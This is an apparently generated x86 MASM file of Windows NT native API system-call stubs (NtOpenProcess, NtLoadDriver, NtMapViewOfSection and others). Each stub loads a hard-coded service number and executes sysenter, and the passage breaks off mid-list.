; ULONG __stdcall NtPropagationFailed( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtPropagationFailed PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 205
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtPropagationFailed ENDP
; ULONG __stdcall NtPropagationComplete( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtPropagationComplete PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 206
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtPropagationComplete ENDP
; ULONG __stdcall NtPrivilegeObjectAuditAlarm( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
NtPrivilegeObjectAuditAlarm PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 207
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtPrivilegeObjectAuditAlarm ENDP
; ULONG __stdcall NtPrivilegedServiceAuditAlarm( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtPrivilegedServiceAuditAlarm PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 208
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtPrivilegedServiceAuditAlarm ENDP
; ULONG __stdcall NtPrivilegeCheck( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtPrivilegeCheck PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 209
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtPrivilegeCheck ENDP
; ULONG __stdcall NtSetInformationVirtualMemory( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
NtSetInformationVirtualMemory PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 210
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetInformationVirtualMemory ENDP
; ULONG __stdcall NtPrePrepareEnlistment( ULONG arg_01 , ULONG arg_02 );
NtPrePrepareEnlistment PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 211
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtPrePrepareEnlistment ENDP
; ULONG __stdcall NtPrePrepareComplete( ULONG arg_01 , ULONG arg_02 );
NtPrePrepareComplete PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 212
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtPrePrepareComplete ENDP
; ULONG __stdcall NtPrepareEnlistment( ULONG arg_01 , ULONG arg_02 );
NtPrepareEnlistment PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 213
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtPrepareEnlistment ENDP
; ULONG __stdcall NtPrepareComplete( ULONG arg_01 , ULONG arg_02 );
NtPrepareComplete PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 214
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtPrepareComplete ENDP
; ULONG __stdcall NtPowerInformation( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtPowerInformation PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 215
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtPowerInformation ENDP
; ULONG __stdcall NtPlugPlayControl( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtPlugPlayControl PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 216
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtPlugPlayControl ENDP
; ULONG __stdcall NtOpenTransactionManager( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
NtOpenTransactionManager PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 217
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtOpenTransactionManager ENDP
; ULONG __stdcall NtOpenTransaction( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtOpenTransaction PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 218
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtOpenTransaction ENDP
; ULONG __stdcall NtOpenTimer( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtOpenTimer PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 219
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtOpenTimer ENDP
; ULONG __stdcall NtOpenThreadTokenEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtOpenThreadTokenEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 220
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtOpenThreadTokenEx ENDP
; ULONG __stdcall NtOpenThreadToken( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtOpenThreadToken PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 221
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtOpenThreadToken ENDP
; ULONG __stdcall NtOpenThread( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtOpenThread PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 222
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtOpenThread ENDP
; ULONG __stdcall NtOpenSymbolicLinkObject( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtOpenSymbolicLinkObject PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 223
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtOpenSymbolicLinkObject ENDP
; ULONG __stdcall NtOpenSession( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtOpenSession PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 224
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtOpenSession ENDP
; ULONG __stdcall NtOpenSemaphore( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtOpenSemaphore PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 225
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtOpenSemaphore ENDP
; ULONG __stdcall NtOpenSection( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtOpenSection PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 226
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtOpenSection ENDP
; ULONG __stdcall NtOpenResourceManager( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtOpenResourceManager PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 227
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtOpenResourceManager ENDP
; ULONG __stdcall NtOpenPartition( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtOpenPartition PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 228
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtOpenPartition ENDP
; ULONG __stdcall NtOpenProcessTokenEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtOpenProcessTokenEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 229
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtOpenProcessTokenEx ENDP
; ULONG __stdcall NtOpenProcessToken( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtOpenProcessToken PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 230
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtOpenProcessToken ENDP
; ULONG __stdcall NtOpenProcess( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtOpenProcess PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 231
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtOpenProcess ENDP
; ULONG __stdcall NtOpenPrivateNamespace( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtOpenPrivateNamespace PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 232
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtOpenPrivateNamespace ENDP
; ULONG __stdcall NtOpenObjectAuditAlarm( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 , ULONG arg_12 );
NtOpenObjectAuditAlarm PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD , arg_12:DWORD
mov eax , 233
call _label_sysenter
ret 48
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtOpenObjectAuditAlarm ENDP
; ULONG __stdcall NtOpenMutant( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtOpenMutant PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 234
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtOpenMutant ENDP
; ULONG __stdcall NtOpenKeyTransactedEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtOpenKeyTransactedEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 235
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtOpenKeyTransactedEx ENDP
; ULONG __stdcall NtOpenKeyTransacted( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtOpenKeyTransacted PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 236
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtOpenKeyTransacted ENDP
; ULONG __stdcall NtOpenKeyEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtOpenKeyEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 237
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtOpenKeyEx ENDP
; ULONG __stdcall NtOpenKeyedEvent( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtOpenKeyedEvent PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 238
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtOpenKeyedEvent ENDP
; ULONG __stdcall NtOpenKey( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtOpenKey PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 239
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtOpenKey ENDP
; ULONG __stdcall NtOpenJobObject( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtOpenJobObject PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 240
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtOpenJobObject ENDP
; ULONG __stdcall NtOpenIoCompletion( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtOpenIoCompletion PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 241
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtOpenIoCompletion ENDP
; ULONG __stdcall NtOpenFile( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
NtOpenFile PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 242
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtOpenFile ENDP
; ULONG __stdcall NtOpenEventPair( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtOpenEventPair PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 243
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtOpenEventPair ENDP
; ULONG __stdcall NtOpenEvent( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtOpenEvent PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 244
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtOpenEvent ENDP
; ULONG __stdcall NtOpenEnlistment( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtOpenEnlistment PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 245
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtOpenEnlistment ENDP
; ULONG __stdcall NtOpenDirectoryObject( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtOpenDirectoryObject PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 246
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtOpenDirectoryObject ENDP
; ULONG __stdcall NtNotifyChangeSession( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 );
NtNotifyChangeSession PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD
mov eax , 247
call _label_sysenter
ret 32
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtNotifyChangeSession ENDP
; ULONG __stdcall NtNotifyChangeMultipleKeys( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 , ULONG arg_12 );
NtNotifyChangeMultipleKeys PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD , arg_12:DWORD
mov eax , 248
call _label_sysenter
ret 48
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtNotifyChangeMultipleKeys ENDP
; ULONG __stdcall NtNotifyChangeKey( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 );
NtNotifyChangeKey PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD
mov eax , 249
call _label_sysenter
ret 40
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtNotifyChangeKey ENDP
; ULONG __stdcall NtNotifyChangeDirectoryFile( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 );
NtNotifyChangeDirectoryFile PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD
mov eax , 250
call _label_sysenter
ret 36
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtNotifyChangeDirectoryFile ENDP
; ULONG __stdcall NtManagePartition( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtManagePartition PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 251
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtManagePartition ENDP
; ULONG __stdcall NtModifyDriverEntry( ULONG arg_01 );
NtModifyDriverEntry PROC STDCALL arg_01:DWORD
mov eax , 252
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtModifyDriverEntry ENDP
; ULONG __stdcall NtModifyBootEntry( ULONG arg_01 );
NtModifyBootEntry PROC STDCALL arg_01:DWORD
mov eax , 253
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtModifyBootEntry ENDP
; ULONG __stdcall NtMapViewOfSection( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 );
NtMapViewOfSection PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD
mov eax , 254
call _label_sysenter
ret 40
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtMapViewOfSection ENDP
; ULONG __stdcall NtMapUserPhysicalPagesScatter( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtMapUserPhysicalPagesScatter PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 255
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtMapUserPhysicalPagesScatter ENDP
; ULONG __stdcall NtMapUserPhysicalPages( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtMapUserPhysicalPages PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 256
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtMapUserPhysicalPages ENDP
; ULONG __stdcall NtMapCMFModule( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
NtMapCMFModule PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 257
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtMapCMFModule ENDP
; ULONG __stdcall NtMakeTemporaryObject( ULONG arg_01 );
NtMakeTemporaryObject PROC STDCALL arg_01:DWORD
mov eax , 258
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtMakeTemporaryObject ENDP
; ULONG __stdcall NtMakePermanentObject( ULONG arg_01 );
NtMakePermanentObject PROC STDCALL arg_01:DWORD
mov eax , 259
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtMakePermanentObject ENDP
; ULONG __stdcall NtLockVirtualMemory( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtLockVirtualMemory PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 260
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtLockVirtualMemory ENDP
; ULONG __stdcall NtLockRegistryKey( ULONG arg_01 );
NtLockRegistryKey PROC STDCALL arg_01:DWORD
mov eax , 261
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtLockRegistryKey ENDP
; ULONG __stdcall NtLockProductActivationKeys( ULONG arg_01 , ULONG arg_02 );
NtLockProductActivationKeys PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 262
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtLockProductActivationKeys ENDP
; ULONG __stdcall NtLockFile( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 );
NtLockFile PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD
mov eax , 263
call _label_sysenter
ret 40
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtLockFile ENDP
; ULONG __stdcall NtLoadKeyEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 );
NtLoadKeyEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD
mov eax , 264
call _label_sysenter
ret 32
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtLoadKeyEx ENDP
; ULONG __stdcall NtLoadKey2( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtLoadKey2 PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 265
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtLoadKey2 ENDP
; ULONG __stdcall NtLoadKey( ULONG arg_01 , ULONG arg_02 );
NtLoadKey PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 266
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtLoadKey ENDP
; ULONG __stdcall NtLoadHotPatch( ULONG arg_01 , ULONG arg_02 );
NtLoadHotPatch PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 267
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtLoadHotPatch ENDP
; ULONG __stdcall NtLoadEnclaveData( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 );
NtLoadEnclaveData PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD
mov eax , 268
call _label_sysenter
ret 36
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtLoadEnclaveData ENDP
; ULONG __stdcall NtLoadDriver( ULONG arg_01 );
NtLoadDriver PROC STDCALL arg_01:DWORD
mov eax , 269
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtLoadDriver ENDP
; ULONG __stdcall NtListenPort( ULONG arg_01 , ULONG arg_02 );
NtListenPort PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 270
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtListenPort ENDP
; ULONG __stdcall NtIsUILanguageComitted( );
NtIsUILanguageComitted PROC STDCALL
mov eax , 271
call _label_sysenter
ret
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtIsUILanguageComitted ENDP
; ULONG __stdcall NtIsSystemResumeAutomatic( );
NtIsSystemResumeAutomatic PROC STDCALL
mov eax , 272
call _label_sysenter
ret
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtIsSystemResumeAutomatic ENDP
; ULONG __stdcall NtIsProcessInJob( ULONG arg_01 , ULONG arg_02 );
NtIsProcessInJob PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 273
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtIsProcessInJob ENDP
; ULONG __stdcall NtInitiatePowerAction( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtInitiatePowerAction PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 274
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtInitiatePowerAction ENDP
; ULONG __stdcall NtInitializeRegistry( ULONG arg_01 );
NtInitializeRegistry PROC STDCALL arg_01:DWORD
mov eax , 275
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtInitializeRegistry ENDP
; ULONG __stdcall NtInitializeNlsFiles( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtInitializeNlsFiles PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 276
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtInitializeNlsFiles ENDP
; ULONG __stdcall NtInitializeEnclave( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtInitializeEnclave PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 277
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtInitializeEnclave ENDP
; ULONG __stdcall NtImpersonateThread( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtImpersonateThread PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 278
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtImpersonateThread ENDP
; ULONG __stdcall NtImpersonateClientOfPort( ULONG arg_01 , ULONG arg_02 );
NtImpersonateClientOfPort PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 279
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtImpersonateClientOfPort ENDP
; ULONG __stdcall NtImpersonateAnonymousToken( ULONG arg_01 );
NtImpersonateAnonymousToken PROC STDCALL arg_01:DWORD
mov eax , 280
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtImpersonateAnonymousToken ENDP
; ULONG __stdcall NtGetWriteWatch( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 );
